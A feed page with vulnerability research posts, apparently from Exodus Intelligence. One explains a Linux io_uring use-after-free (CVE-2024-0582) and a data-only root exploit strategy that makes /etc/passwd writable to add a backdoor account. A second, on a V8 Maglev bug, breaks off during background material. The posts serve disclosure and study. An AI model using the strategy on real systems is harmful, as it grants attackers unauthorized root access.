Normal view

There are new articles available, click to refresh the page.
Yesterday — 27 March 2024Exodus Intelligence

Mind the Patch Gap: Exploiting an io_uring Vulnerability in Ubuntu

27 March 2024 at 15:47

By Oriol Castejón

Overview

This post discusses a use-after-free vulnerability, CVE-2024-0582, in io_uring in the Linux kernel. Despite the vulnerability being patched in the stable kernel in December 2023, it wasn’t ported to Ubuntu kernels for over two months, making it an easy 0day vector in Ubuntu during that time.

In early January 2024, a Project Zero issue for a recently fixed io_uring use-after-free (UAF) vulnerability (CVE-2024-0582) was made public. It was apparent that the vulnerability allowed an attacker to obtain read and write access to a number of previously freed pages. This seemed to be a very powerful primitive: usually a UAF gets you access to a freed kernel object, not a whole page – or even better, multiple pages. As the Project Zero issue also described, it was clear that this vulnerability should be easily exploitable: if an attacker has total access to free pages, once these pages are returned to a slab cache to be reused, they will be able to modify any contents of any object allocated within these pages. In the more common situation, the attacker can modify only a certain type of object, and possibly only at certain offsets or with certain values.

Moreover, this fact also suggests that a data-only exploit should be possible. In general terms, such an exploit does not rely on modifying the code execution flow, by building for instance a ROP chain or using similar techniques. Instead, it focuses on modifying certain data that ultimately grants the attacker root privileges, such as making read-only files writable by the attacker. This approach makes exploitation more reliable, stable, and allows bypassing some exploit mitigations such as Control-Flow Integrity (CFI), as the instructions executed by the kernel are not altered in any way.

Finally, according to the Project Zero issue, this vulnerability was present in the Linux kernel from versions starting at 6.4 and prior to 6.7. At that moment, Ubuntu 23.10 was running a vulnerable verison of 6.5 (and somewhat later so was Ubuntu 22.04 LTS), so it was a good opportunity to exploit the patch gap, understand how easy it would be for an attacker to do that, and how long they might possess an 0day exploit based on an Nday.

More precisely:

This post describes the data-only exploit strategy that we implemented, allowing a non-privileged user (and without the need of unprivileged user namespaces) to achieve root privileges on affected systems. First, a general overview of the io_uring interface is given, as well as some more specific details of the interface relevant to this vulnerability. Next, an analysis of the vulnerability is provided. Finally, a strategy for a data-only exploit is presented.

Preliminaries

The io_uring interface is an asynchronous I/O API for Linux created by Jens Axboe and introduced in the Linux kernel version 5.1. Its goal is to improve performance of applications with a high number of I/O operations. It provides interfaces similar to functions like read()  and write(), for example, but requests are satisfied in an asynchronous manner to avoid the context switching overhead caused by blocking system calls.

The io_uring interface has been a bountiful target for a lot of vulnerability research; it was disabled in ChromeOS, production Google servers, and restricted in Android. As such, there are many blog posts that explain it with a lot of detail. Some relevant references are the following:

In the next subsections we give an overview of the io_uring interface. We pay special attention to the Provided Buffer Ring functionality, which is relevant to the vulnerability discussed in this post. The reader can also check “What is io_uring?”, as well as the above references for alternative overviews of this subsystem.

The io_uring Interface

The basis of io_uring is a set of two ring buffers used for communication between user and kernel space. These are:

  • The submission queue (SQ), which contains submission queue entries (SQEs) describing a request for an I/O operation, such as reading or writing to a file, etc.
  • The completion queue (CQ), which contains completion queue entries (CQEs) that correspond to SQEs that have been processed and completed.

This model allows executing a number of I/O requests to be performed asynchronously using a single system call, while in a synchronous manner each request would have typically corresponded to a single system call. This reduces the overhead caused by blocking system calls, thus improving performance. Moreover, the use of shared buffers also reduces the overhead as no data between user and kernelspace has to be transferred.

The io_uring API consists of three system calls:

  • io_uring_setup()
  • io_uring_register()
  • io_uring_enter()

The io_uring_setup() System Call

The io_uring_setup() system call sets up a context for an io_uring instance, that is, a submission and a completion queue with the indicated number of entries each one. Its prototype is the following:

				
					int io_uring_setup(u32 entries, struct io_uring_params *p);
				
			

Its arguments are:

  • entries: It determines how many elements the SQ and CQ must have at the minimum.
  • params: It can be used by the application to pass options to the kernel, and by the kernel to pass information to the application about the ring buffers.

On success, the return value of this system call is a file descriptor that can be later used to perform operation on the io_uring instance.

The io_uring_register() System Call

The io_uring_register() system call allows registering resources, such as user buffers, files, etc., for use in an io_uring instance. Registering such resources makes the kernel map them, avoiding future copies to and from userspace, thus improving performance. Its prototype is the following:

				
					int io_uring_register(unsigned int fd, unsigned int opcode, void *arg, unsigned int nr_args);
				
			

Its arguments are:

  • fd: The file io_uring file descriptor returned by the io_uring_setup() system call.
  • opcode: The specific operation to be executed. It can have certain values such as IORING_REGISTER_BUFFERS, to register user buffers, or IORING_UNREGISTER_BUFFERS, to release the previously registered buffers.
  • arg: Arguments passed to the operation being executed. Their type depends on the specific opcode being passed.
  • nr_args: Number of arguments in arg being passed.

On success, the return value of this system call is either zero or a positive value, depending on the opcode used.

Provided Buffer Rings

An application might need to have different types of registered buffers for different I/O requests. Since kernel version 5.7, to facilitate managing these different sets of buffers, io_uring allows the application to register a pool of buffers that are identified by a group ID. This is done using the IORING_REGISTER_PBUF_RING opcode in the io_uring_register() system call.

More precisely, the application starts by allocating a set of buffers that it wants to register. Then, it makes the io_uring_register() system call with opcode IORING_REGISTER_PBUF_RING, specifying a group ID with which these buffers should be associated, a start address of the buffers, the length of each buffer, the number of buffers, and a starting buffer ID. This can be done for multiple sets of buffers, each one having a different group ID.

Finally, when submitting a request, the application can use the IOSQE_BUFFER_SELECT flag and provide the desired group ID to indicate that a provided buffer ring from the corresponding set should be used. When the operation has been completed, the buffer ID of the buffer used for the operation is passed to the application via the corresponding CQE.

Provided buffer rings can be unregistered via the io_uring_register() system call using the IORING_UNREGISTER_PBUF_RING opcode.

User-mapped Provided Buffer Rings

In addition to the buffers allocated by the application, since kernel version 6.4, io_uring allows a user to delegate the allocation of provided buffer rings to the kernel. This is done using the IOU_PBUF_RING_MMAP flag passed as an argument to io_uring_register(). In this case, the application does not need to previously allocate these buffers, and therefore the start address of the buffers does not have to be passed to the system call. Then, after io_uring_register() returns, the application can mmap() the buffers into userspace with the offset set as:

				
					IORING_OFF_PBUF_RING | (bgid >> IORING_OFF_PBUF_SHIFT)
				
			

where bgid is the corresponding group ID. These offsets, as well as others used to mmap() the io_uring data, are defined in include/uapi/linux/io_uring.h:

				
					/*
 * Magic offsets for the application to mmap the data it needs
 */
#define IORING_OFF_SQ_RING			0ULL
#define IORING_OFF_CQ_RING			0x8000000ULL
#define IORING_OFF_SQES				0x10000000ULL
#define IORING_OFF_PBUF_RING		0x80000000ULL
#define IORING_OFF_PBUF_SHIFT		16
#define IORING_OFF_MMAP_MASK		0xf8000000ULL
				
			

The function that handles such an mmap() call is io_uring_mmap():

				
					// Source: https://elixir.bootlin.com/linux/v6.5.3/source/io_uring/io_uring.c#L3439

static __cold int io_uring_mmap(struct file *file, struct vm_area_struct *vma)
{
	size_t sz = vma->vm_end - vma->vm_start;
	unsigned long pfn;
	void *ptr;

	ptr = io_uring_validate_mmap_request(file, vma->vm_pgoff, sz);
	if (IS_ERR(ptr))
		return PTR_ERR(ptr);

	pfn = virt_to_phys(ptr) >> PAGE_SHIFT;
	return remap_pfn_range(vma, vma->vm_start, pfn, sz, vma->vm_page_prot);
}
				
			

Note that remap_pfn_range() ultimately creates a mapping with the VM_PFNMAP flag set, which means that the MM subsystem will treat the base pages as raw page frame number mappings wihout an associated page structure. In particular, the core kernel will not keep reference counts of these pages, and keeping track of it is the responsability of the calling code (in this case, the io_uring subsystem).

The io_uring_enter() System Call

The io_uring_enter() system call is used to initiate and complete I/O using the SQ and CQ that have been previously set up via the io_uring_setup() system call. Its prototype is the following:

				
					int io_uring_enter(unsigned int fd, unsigned int to_submit, unsigned int min_complete, unsigned int flags, sigset_t *sig);
				
			

Its arguments are:

  • fd: The io_uring file descriptor returned by the io_uring_setup() system call.
  • to_submit: Specifies the number of I/Os to submit from the SQ.
  • flags: A bitmask value that allows specifying certain options, such as IORING_ENTER_GETEVENTS, IORING_ENTER_SQ_WAKEUP, IORING_ENTER_SQ_WAIT, etc.
  • sig: A pointer to a signal mask. If it is not NULL, the system call replaces the current signal mask by the one pointed to by sig, and when events become available in the CQ restores the original signal mask.

Vulnerability

The vulnerability can be triggered when an application registers a provided buffer ring with the IOU_PBUF_RING_MMAP flag. In this case, the kernel allocates the memory for the provided buffer ring, instead of it being done by the application. To access the buffers, the application has to mmap() them to get a virtual mapping. If the application later unregisters the provided buffer ring using the IORING_UNREGISTER_PBUF_RING opcode, the kernel frees this memory and returns it to the page allocator. However, it does not have any mechanism to check whether the memory has been previously unmapped in userspace. If this has not been done, the application has a valid memory mapping to freed pages that can be reallocated by the kernel for other purposes. From this point, reading or writing to these pages will trigger a use-after-free.

The following code blocks show the affected parts of functions relevant to this vulnerability. Code snippets are demarcated by reference markers denoted by [N]. Lines not relevant to this vulnerability are replaced by a [Truncated] marker. The code corresponds to the Linux kernel version 6.5.3, which corresponds to the version used in the Ubuntu kernel 6.5.0-15-generic.

Registering User-mapped Provided Buffer Rings

The handler of the IORING_REGISTER_PBUF_RING opcode for the io_uring_register() system call is the io_register_pbuf_ring() function, shown in the next listing.

				
					// Source: https://elixir.bootlin.com/linux/v6.5.3/source/io_uring/kbuf.c#L537

int io_register_pbuf_ring(struct io_ring_ctx *ctx, void __user *arg)
{
	struct io_uring_buf_reg reg;
	struct io_buffer_list *bl, *free_bl = NULL;
	int ret;

[1]

	if (copy_from_user(&reg, arg, sizeof(reg)))
		return -EFAULT;

[Truncated]

	if (!is_power_of_2(reg.ring_entries))
		return -EINVAL;

[2]

	/* cannot disambiguate full vs empty due to head/tail size */
	if (reg.ring_entries >= 65536)
		return -EINVAL;

	if (unlikely(reg.bgid io_bl)) {
		int ret = io_init_bl_list(ctx);
		if (ret)
			return ret;
	}

	bl = io_buffer_get_list(ctx, reg.bgid);
	if (bl) {
		/* if mapped buffer ring OR classic exists, don't allow */
		if (bl->is_mapped || !list_empty(&bl->buf_list))
			return -EEXIST;
	} else {

[3]

		free_bl = bl = kzalloc(sizeof(*bl), GFP_KERNEL);
		if (!bl)
			return -ENOMEM;
	}

[4]

	if (!(reg.flags & IOU_PBUF_RING_MMAP))
		ret = io_pin_pbuf_ring(&reg, bl);
	else
		ret = io_alloc_pbuf_ring(&reg, bl);

[Truncated]

	return ret;
}
				
			

The function starts by copying the provided arguments into an io_uring_buf_reg structure reg [1]. Then, it checks that the desired number of entries is a power of two and is strictly less than 65536 [2]. Note that this implies that the maximum number of allowed entries is 32768.

Next, it checks whether a provided buffer list with the specified group ID reg.bgid exists and, in case it does not, an io_buffer_list structure is allocated and its address is stored in the variable bl [3]. Finally, if the provided arguments have the flag IOU_PBUF_RING_MMAP set, the io_alloc_pbuf_ring() function is called [4], passing in the address of the structure reg, which contains the arguments passed to the system call, and the pointer to the allocated buffer list structure bl.

				
					// Source: https://elixir.bootlin.com/linux/v6.5.3/source/io_uring/kbuf.c#L519

static int io_alloc_pbuf_ring(struct io_uring_buf_reg *reg,
			      struct io_buffer_list *bl)
{
	gfp_t gfp = GFP_KERNEL_ACCOUNT | __GFP_ZERO | __GFP_NOWARN | __GFP_COMP;
	size_t ring_size;
	void *ptr;

[5]

	ring_size = reg->ring_entries * sizeof(struct io_uring_buf_ring);

[6]

	ptr = (void *) __get_free_pages(gfp, get_order(ring_size));
	if (!ptr)
		return -ENOMEM;

[7]

	bl->buf_ring = ptr;
	bl->is_mapped = 1;
	bl->is_mmap = 1;
	return 0;
}
				
			

The io_alloc_pbuf_ring() function takes the number of ring entries specified in reg->ring_entries and computes the resulting size ring_size by multiplying it by the size of the io_uring_buf_ring structure [5], which is 16 bytes. Then, it requests a number of pages from the page allocator that can fit this size via a call to __get_free_pages() [6]. Note that for the maximum number of allowed ring entries, 32768, ring_size is 524288 and thus the maximum number of 4096-byte pages that can be retrieved is 128. The address of the first page is then stored in the io_buffer_list structure, more precisely in bl->buf_ring [7]. Also, bl->is_mapped and bl->is_mmap are set to 1.

Unregistering Provided Buffer Rings

The handler of the IORING_UNREGISTER_PBUF_RING opcode for the io_uring_register() system call is the io_unregister_pbuf_ring() function, shown in the next listing.

				
					// Source: https://elixir.bootlin.com/linux/v6.5.3/source/io_uring/kbuf.c#L601

int io_unregister_pbuf_ring(struct io_ring_ctx *ctx, void __user *arg)
{
	struct io_uring_buf_reg reg;
	struct io_buffer_list *bl;

[8]

    if (copy_from_user(&reg, arg, sizeof(reg)))
		return -EFAULT;
	if (reg.resv[0] || reg.resv[1] || reg.resv[2])
		return -EINVAL;
	if (reg.flags)
		return -EINVAL;

[9]

	bl = io_buffer_get_list(ctx, reg.bgid);
	if (!bl)
		return -ENOENT;
	if (!bl->is_mapped)
		return -EINVAL;

[10]

	__io_remove_buffers(ctx, bl, -1U);
	if (bl->bgid >= BGID_ARRAY) {
		xa_erase(&ctx->io_bl_xa, bl->bgid);
		kfree(bl);
	}
	return 0;
}
				
			

Again, the function starts by copying the provided arguments into a io_uring_buf_reg structure reg [8]. Then, it retrieves the provided buffer list corresponding to the group ID specified in reg.bgid and stores its address in the variable bl [9]. Finally, it passes bl to the function __io_remove_buffers() [10].

				
					// Source: https://elixir.bootlin.com/linux/v6.5.3/source/io_uring/kbuf.c#L209

static int __io_remove_buffers(struct io_ring_ctx *ctx,
			       struct io_buffer_list *bl, unsigned nbufs)
{
	unsigned i = 0;

	/* shouldn't happen */
	if (!nbufs)
		return 0;

	if (bl->is_mapped) {
		i = bl->buf_ring->tail - bl->head;
		if (bl->is_mmap) {
			struct page *page;

[11]

			page = virt_to_head_page(bl->buf_ring);
            
[12]

			if (put_page_testzero(page))
				free_compound_page(page);
			bl->buf_ring = NULL;
			bl->is_mmap = 0;
		} else if (bl->buf_nr_pages) {

[Truncated]
				
			

In case the buffer list structure has the is_mapped and is_mmap flags set, which is the case when the buffer ring was registered with the IOU_PBUF_RING_MMAP flag [7], the function reaches [11]. Then, the page structure of the head page corresponding to the virtual address of the buffer ring bl->buf_ring is obtained. Finally, all the pages forming the compound page with head page are freed at [12], thus returning them to the page allocator.

Note that if the provided buffer ring is set up with IOU_PBUF_RING_MMAP, that is, it has been allocated by the kernel and not the application, the userspace application is expected to have previously mmap()ed this memory. Moreover, recall that since the memory mapping was created with the VM_PFNMAP flag, the reference count of the page structure was not modified during this operation. In other words, in the code above there is no way for the kernel to know whether the application has unmapped the memory before freeing it via the call to free_compound_page(). If this has not happened, a use-after-free can be triggered by the application by just reading or writing to this memory.

Exploitation

The exploitation mechanism presented in this post relies on how memory allocation works on Linux, so the reader is expected to have some familiarity with it. As a refresher, we highlight the following facts:

  • The page allocator is in charge of managing memory pages, which are usually 4096 bytes. It keeps lists of free pages of order n, that is, memory chunks of page size multiplied by 2^n. These pages are served in a first-in-first-out basis.
  • The slab allocator sits on top of the buddy allocator and keeps caches of commonly used objects (dedicated caches) or fixed-size objects (generic caches), called slab caches, available for allocation in the kernel. There are several implementations of slab allocators, but for the purpose of this post only the SLUB allocator, the default in modern versions of the kernel, is relevant.
  • Slab caches are formed by multiple slabs, which are sets of one or more contiguous pages of memory. When a slab cache runs out of free slabs, which can happen if a large number of objects of the same type or size are allocated and not freed during a period of time, the operating system allocates a new slab by requesting free pages to the page allocator.

One of such cache slabs is the filp, which contains file structures. A filestructure, shown in the next listing, represents an open file.

				
					// Source: https://elixir.bootlin.com/linux/v6.5.3/source/include/linux/fs.h#L961

struct file {
	union {
		struct llist_node	f_llist;
		struct rcu_head 	f_rcuhead;
		unsigned int 		f_iocb_flags;
	};

	/*
	 * Protects f_ep, f_flags.
	 * Must not be taken from IRQ context.
	 */
	spinlock_t		f_lock;
	fmode_t			f_mode;
	atomic_long_t		f_count;
	struct mutex		f_pos_lock;
	loff_t			f_pos;
	unsigned int		f_flags;
	struct fown_struct	f_owner;
	const struct cred	*f_cred;
	struct file_ra_state	f_ra;
	struct path		f_path;
	struct inode		*f_inode;	/* cached value */
	const struct file_operations	*f_op;

	u64			f_version;
#ifdef CONFIG_SECURITY
	void			*f_security;
#endif
	/* needed for tty driver, and maybe others */
	void			*private_data;

#ifdef CONFIG_EPOLL
	/* Used by fs/eventpoll.c to link all the hooks to this file */
	struct hlist_head	*f_ep;
#endif /* #ifdef CONFIG_EPOLL */
	struct address_space	*f_mapping;
	errseq_t		f_wb_err;
	errseq_t		f_sb_err; /* for syncfs */
} __randomize_layout
  __attribute__((aligned(4)));	/* lest something weird decides that 2 is OK */
				
			

The most relevant fields for this exploit are the following:

  • f_mode: Determines whether the file is readable or writable.
  • f_pos: Determines the current reading or writing position.
  • f_op: The operations associated with the file. It determines the functions to be executed when certain system calls such as read(), write(), etc., are issued on the file. For files in ext4 filesystems, this is equal to the ext4_file_operations variable.

Strategy for a Data-Only Exploit

The exploit primitive provides an attacker with read and write access to a certain number of free pages that have been returned to the page allocator. By opening a file a large number of times, the attacker can force the exhaustion of all the slabs in the filp cache, so that free pages are requested to the page allocator to create a new slab in this cache. In this case, further allocations of file structures will happen in the pages on which the attacker has read and write access, thus being able to modify them. In particular, for example, by modifying the f_mode field, the attacker can make a file that has been opened with read-only permissions to be writable.

This strategy was implemented to successfully exploit the following versions of Ubuntu:

  • Ubuntu 22.04 Jammy Jellyfish LTS with kernel 6.5.0-15-generic.
  • Ubuntu 22.04 Jammy Jellyfish LTS with kernel 6.5.0-17-generic.
  • Ubuntu 23.10 Mantic Minotaur with kernel 6.5.0-15-generic.
  • Ubuntu 23.10 Mantic Minotaur with kernel 6.5.0-17-generic.

The next subsections give more details on how this strategy can be carried out.

Triggering the Vulnerability

The strategy begins by triggering the vulnerability to obtain read and write access to freed pages. This can be done by executing the following steps:

  • Making an io_uring_setup() system call to set up the io_uring instance.
  • Making an io_uring_register() system call with opcode IORING_REGISTER_PBUF_RING and the IOU_PBUF_RING_MMAP flag, so that the kernel itself allocates the memory for the provided buffer ring.
Registering a provided buffer ring
  • mmap()ing the memory of the provided buffer ring with read and write permissions, using the io_uring file descriptor and the offset IORING_OFF_PBUF_RING.
MMap the buffer ring
  • Unregistering the provided buffer ring by making an io_uring_register()system call with opcode IORING_UNREGISTER_PBUF_RING
Unregistering the buffer ring

At this point, the pages corresponding to the provided buffer ring have been returned to the page allocator, while the attacker still has a valid reference to them.

Spraying File Structures

The next step is spawning a large number of child processes, each one opening the file /etc/passwd many times with read-only permissions. This forces the allocation of corresponding file structures in the kernel.

Spraying file structures

By opening a large number of files, the attacker can force the exhaustion of the slabs in the filp cache. After that, new slabs will be allocated by requesting free pages from the page allocator. At some point, the pages that previously corresponded to the provided buffer ring, and to which the attacker still has read and write access, will be returned by the page allocator.

Requesting free pages from the page allocator

Hence, all of the file structures created after this point will be allocated in the attacker-controlled memory region, giving them the possibility to modify the structures.

Allocating file structures within a controlled page

Note that these child processes have to wait until indicated to proceed in the last stage of the exploit, so that the files are kept open and their corresponding structures are not freed.

Locating a File Structure in Memory

Although the attacker may have access to some slabs belonging to the filp cache, they don’t know where they are within the memory region. To identify these slabs, however, the attacker can search for the ext4_file_operations address at the offset of the file.f_op field within the file structure. When one is found, it can be safely assumed that it corresponds to the file structure of one instance of the previously opened /etc/passwd file.

Note that even when Kernel Address Space Layout Randomization (KASLR) is enabled, to identify the ext4_file_operations address in memory it is only necessary to know the offset of this symbol with respect to the _text symbol, so there is no need for a KASLR bypass. Indeed, given a value val of an unsigned integer found in memory at the corresponding offset, one can safely assume that it is the address of ext4_file_operations if:

  • (val >> 32 & 0xffffffff) == 0xffffffff, i.e. the 32 most significant bits are all 1.
  • (val & 0xfffff) == (ext4_fops_offset & 0xfffff), i.e. the 20 least significant bits of val and ext4_fops_offset, the offset of ext4_file_operations with respect to _text, are the same.

Changing File Permissions and Adding a Backdoor Account

Once a file structure corresponding to the /etc/passwd file is located in the memory region accessible by the attacker, it can be modified at will. In particular, setting the FMODE_WRITE and FMODE_CAN_WRITE flags in the file.f_mode field of the found structure will make the /etc/passwd file writable when using the corresponding file descriptor.

Moreover, setting the file.f_pos field of the found file structure to the current size of the /etc/passwd/ file, the attacker can ensure that any data written to it is appended at the end of the file.

To finish, the attacker can signal all the child processes spawned in the second stage to try to write to the opened /etc/passwd file. While most of all of such attempts will fail, as the file was opened with read-only permissions, the one corresponding to the modified file structure, which has write permissions enabled due to the modification of the file->f_mode field, will succeed.

Conclusion

To sum up, in this post we described a use-after-free vulnerability that was recently disclosed in the io_uring subsystem of the Linux kernel, and a data-only exploit strategy was presented. This strategy proved to be realitvely simple to implement. During our tests it proved to be very reliable and, when it failed, it did not affect the stability of the system. This strategy allowed us to exploit up-to-date versions of Ubuntu during the patch gap window of about two months.

About Exodus Intelligence

Our world class team of vulnerability researchers discover hundreds of exclusive Zero-Day vulnerabilities, providing our clients with proprietary knowledge before the adversaries find them. We also conduct N-Day research, where we select critical N-Day vulnerabilities and complete research to prove whether these vulnerabilities are truly exploitable in the wild.

For more information on our products and how we can help your vulnerability efforts, visit www.exodusintel.com or contact [email protected] for further discussion.

The post Mind the Patch Gap: Exploiting an io_uring Vulnerability in Ubuntu appeared first on Exodus Intelligence.

Before yesterdayExodus Intelligence

Google Chrome V8 CVE-2024-0517 Out-of-Bounds Write Code Execution

19 January 2024 at 22:33

By Javier Jimenez and Vignesh Rao

Overview

In this blog post we take a look at a vulnerability that we found in Google Chrome’s V8 JavaScript engine a few months ago. This vulnerability was patched in a Chrome update on 16 January 2024 and assigned CVE-2024-0517.

The vulnerability arises from how V8’s Maglev compiler attempts to compile a class that has a parent class. In such a case the compiler has to lookup all the parent classes and their constructors and while doing this it introduces the vulnerability. In this blog we will go into the details of this vulnerability and how to exploit it.

In order to analyze this vulnerability in V8, the developer shell included within the V8 project, d8, is used. After compiling V8, several binary files are generated and placed in the following directories:

  • Debug d8 binary: ./out.gn/x64.debug/d8
  • Release d8 binary: ./out.gn/x64.release/d8

V8 performs just-in-time (JIT) compilation of JavaScript code. JIT compilers perform a translation of a high-level language, JavaScript in this case, into machine code for faster execution. Before diving into the analysis of the vulnerability, we first discuss some preliminary details about the V8 engine that are needed to understand the vulnerability and the exploit mechanism. If you are already familiar with V8 internals, feel free to skip to the Vulnerability section.

Preliminaries

V8 JavaScript Engine

The V8 JavaScript engine consists of several components in its compilation pipeline: Ignition (the interpreter), Sparkplug (baseline compiler), Maglev (the mid-tier optimizing compiler), and TurboFan (the optimizing compiler). Ignition is a register machine that generates bytecode from the parsed abstract syntax tree. One of the phases of optimization involves identifying code that is frequently used, and marking such code as “hot”. Code marked as “hot” is then fed into Maglev and if run more times, into TurboFan. In Maglev it is analyzed statically gathering type feedback from the interpreter, and in Turbofan it is dynamically profiled. These analyses are used to produce optimized and compiled code. Subsequent executions of code marked as “hot” are faster because V8 will compile and optimize the JavaScript code into the target machine code architecture and use this generated code to run the operations defined by the code previously marked as “hot”.

Maglev

Maglev is the mid-tier optimizing compiler in V8. It sits just after the baseline compiler (Sparkplug) and before the main optimizing compiler (Turbofan).

Its main objective is to perform fast optimizations without any dynamic analysis, only the feedback coming from the interpreter is taken. In order to perform the relevant optimizations in a static way, it supports itself by creating a Control Flow Graph (CFG) populated by nodes; known as the Maglev IR.

Running the following snippet of JavaScript code via out/x64.debug/d8 --allow-natives-syntax --print-maglev-graph maglev-add-test.js:

				
					function add(a, b) {
  return a + b;
}

%PrepareFunctionForOptimization(add);
add(2, 4);
%OptimizeMaglevOnNextCall(add);
add(2, 4);
				
			

The developer shell d8 will first print the interpreter’s bytecode

				
					   0 : Ldar a1
   2 : Add a0, [0]
   5 : Return
				
			

Where:

  • 0: Load the register a1, the second argument of the function, into the interpreter’s accumulator register.
  • 2: Perform the addition with the register a0, the first argument, and store the result into the accumulator. Finally store the profiling (type feedback, offsets in memory, etc.) into the slot 0 of the inline cache.
  • 5: Return the value that is stored in the accumulator.

These in turn have their counterpart representation in the Maglev IR graph:

				
					    1/5: Constant(0x00f3003c3ce5 ) → v-1, live range: [1-11]
    2/4: Constant(0x00f3003dbaa9 ) → v-1, live range: [2-11]
    3/6: RootConstant(undefined_value) → v-1
 Block b1
0x00f3003db9a9  (0x00f30020c301 )
   0 : Ldar a1
    4/1: InitialValue() → [stack:-6|t], live range: [4-11]

[1]

    5/2: InitialValue(a0) → [stack:-7|t], live range: [5-11]
    6/3: InitialValue(a1) → [stack:-8|t], live range: [6-11]
    7/7: FunctionEntryStackCheck
         ↳ lazy @-1 (4 live vars)
    8/8: Jump b2
      ↓
 Block b2
     15: GapMove([stack:-7|t] → [rax|R|t])
   2 : Add a0, [0]
         ↱ eager @2 (5 live vars)

[2]

    9/9: CheckedSmiUntag [v5/n2:[rax|R|t]] → [rax|R|w32], live range: [9-11]
     16: GapMove([stack:-8|t] → [rcx|R|t])
         ↱ eager @2 (5 live vars)
  10/10: CheckedSmiUntag [v6/n3:[rcx|R|t]] → [rcx|R|w32], live range: [10-11]
         ↱ eager @2 (5 live vars)
  11/11: Int32AddWithOverflow [v9/n9:[rax|R|w32], v10/n10:[rcx|R|w32]] → [rax|R|w32], live range: [11-13]
   5 : Return
  12/12: ReduceInterruptBudgetForReturn(5)

[3]

  13/13: Int32ToNumber [v11/n11:[rax|R|w32]] → [rcx|R|t], live range: [13-14]
     17: GapMove([rcx|R|t] → [rax|R|t])
  14/14: Return [v13/n13:[rax|R|t]]
				
			

At [1], the values for both the arguments a0 and a1 are loaded. The numbers 5/2and 6/3 refer to Node 5/Variable 2 and Node 6/Variable 3. Nodes are used in the initial Maglev IR graphs and the variables are used when the final register allocation graphs are being generated. Therefore, the arguments will be referred by their respective Nodes and Variables. At [2], two CheckedSmiUntag operations are performed on the values loaded at [1]. This operation checks that the argument is a small integer and removes the tag. These untagged values are now fed into Int32AddWithOverflow that takes the operands from v9/n9 and v10/n10 (the results from the CheckedSmiUntag operations) and places the result in n11/v11. Finally, at [4], the graph converts the resulting operation into a JavaScript number via Int32ToNumber of n11/v11, and places the result into v13/n13 which is then returned by the Return operation.

Ubercage

Ubercage, also known as the V8 Sandbox (not to be confused with the Chrome Sandbox), is a new mitigation within V8 that tries to enforce memory read and write bounds even after a successful V8 vulnerability has been exploited.

The design involves relocating the V8 heap into a pre-reserved virtual address space called the sandbox, assuming an attacker can corrupt V8 heap memory. This relocation restricts memory accesses within the process, preventing arbitrary code execution in the event of a successful V8 exploit. It creates an in-process sandbox for V8, transforming potential arbitrary writes into bounded writes with minimal performance overhead (roughly 1% on real-world workloads).

Another mechanism of Ubercage is Code Pointer Sandboxing, in which the implementation removes the code pointer within the JavaScript object itself, and turns it into an index in a table. This table will hold type information and the actual address of the code to be run in a separate isolated part in memory. This prevents attackers from modifying JavaScript function code pointers as during an exploit, initially, only bound access to the V8 heap is attained.

Finally, Ubercage also signified the removal of full 64bit pointers on Typed Array objects. In the past the backing store (or data pointer) of these objects was used to craft arbitrary read and write primitives but, with the implementation of Ubercage, this is now no longer a viable route for attackers.

Garbage Collection

JavaScript engines make intensive use of memory due to the freedom the specification provides while making use of objects, as their types and references can be changed at any point in time, effectively changing their in-memory shape and location. All objects that are referenced by root objects (objects pointed by registers or stack variables) either directly, or through a chain of references, are considered live. Any object that is not in any such reference is considered dead and subject to be free’d by the Garbage Collector.

This intensive and dynamic usage of objects has led to research which proves that most objects will die young, known as the “The Generational Hypothesis”[1], which is used by V8 as a basis for its garbage collection procedures. In addition it uses a semi-space approach, in order to prevent traversing the entire heap-space in order to mark alive/dead objects, where it considers a “Young Generation” and an “Old Generation” depending on how many garbage collection cycles each object has managed to survive.

In V8 there exist two main garbage collectors, Major GC and Minor GC. The Major GC traverses the entire heap space in order to mark object status (alive/dead), sweep the memory space to free the dead objects, and finally, compact the memory depending on fragmentation. The Minor GC, traverses only the Young Generation heap space and does the same operations but including another semi-space scheme, taking surviving objects from the “From-space” to the “To-space” space, all in an interleaved manner.

Orinoco is part of the V8 Garbage Collector and tries to implement state-of-the-art garbage collection techniques, including fully concurrent, parallel, and incremental mechanisms for marking and freeing memory. Orinoco is applied to the Minor GC as it uses parallelization of tasks in order to mark and iterate the “Young generation”. It is also applied to the Major GC by implementing concurrency in the marking phases. All of this prevents previously observable jank and screen stutter caused by the Garbage Collector stopping all tasks with the intention of freeing memory, known as Stop-the-World approach.[2]

Object Representation

V8 on 64-bit builds uses pointer compression. This is, all the pointers are stored in the V8 heap as 32-bit values. To distinguish whether the current 32-bit value is a pointer or a small integer (SMI), V8 uses another technique called pointer tagging:

  • If the value is a pointer, it will set the last bit of the pointer to 1.
  • If the value is a SMI, it will bitwise left shift (<<) the value by 1. Leaving the last bit unset. Therefore, when reading a 32-bit value from the heap, the first thing that is checked is whether it has a pointer tag (last bit set to 1) and if so the value of a register (r14 on x86 systems) is added, which corresponds to the V8 heap base address, therefore decompressing the pointer to its full value. If it is a SMI it will check that the last bit is set to 0 and then bitwise right shift (>>) the value before using it.

The best way to understand how V8 represents JavaScript objects internally is to look at the output of a DebugPrint statement, when executed in a d8 shell with an argument representing a simple object.

				
					d8> let a = new Object();
undefined
d8> %DebugPrint(a);
DebugPrint: 0x3cd908088669: [JS_OBJECT_TYPE]
 - map: 0x3cd9082422d1 <Map(HOLEY_ELEMENTS)> [FastProperties]
 - prototype: 0x3cd908203c55 <Object map = 0x3cd9082421b9>
 - elements: 0x3cd90804222d <FixedArray[0]> [HOLEY_ELEMENTS]
 - properties: 0x3cd90804222d <FixedArray[0]>
 - All own properties (excluding elements): {}
0x3cd9082422d1: [Map]
 - type: JS_OBJECT_TYPE
 - instance size: 28
 - inobject properties: 4
 - elements kind: HOLEY_ELEMENTS
 - unused property fields: 4
 - enum length: invalid
 - back pointer: 0x3cd9080423b5 <undefined>
 - prototype_validity cell: 0x3cd908182405 <Cell value= 1>
 - instance descriptors (own) #0: 0x3cd9080421c1 <Other heap object (STRONG_DESCRIPTOR_ARRAY_TYPE)>
 - prototype: 0x3cd908203c55 <Object map = 0x3cd9082421b9>
 - constructor: 0x3cd90820388d <JSFunction Object (sfi = 0x3cd908184721)>
 - dependent code: 0x3cd9080421b9 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
 - construction counter: 0

{}

d8> for (let i =0; i<1000; i++) var gc = new Uint8Array(100000000);
undefined
d8> %DebugPrint(a);
DebugPrint: 0x3cd908214bd1: [JS_OBJECT_TYPE] in OldSpace
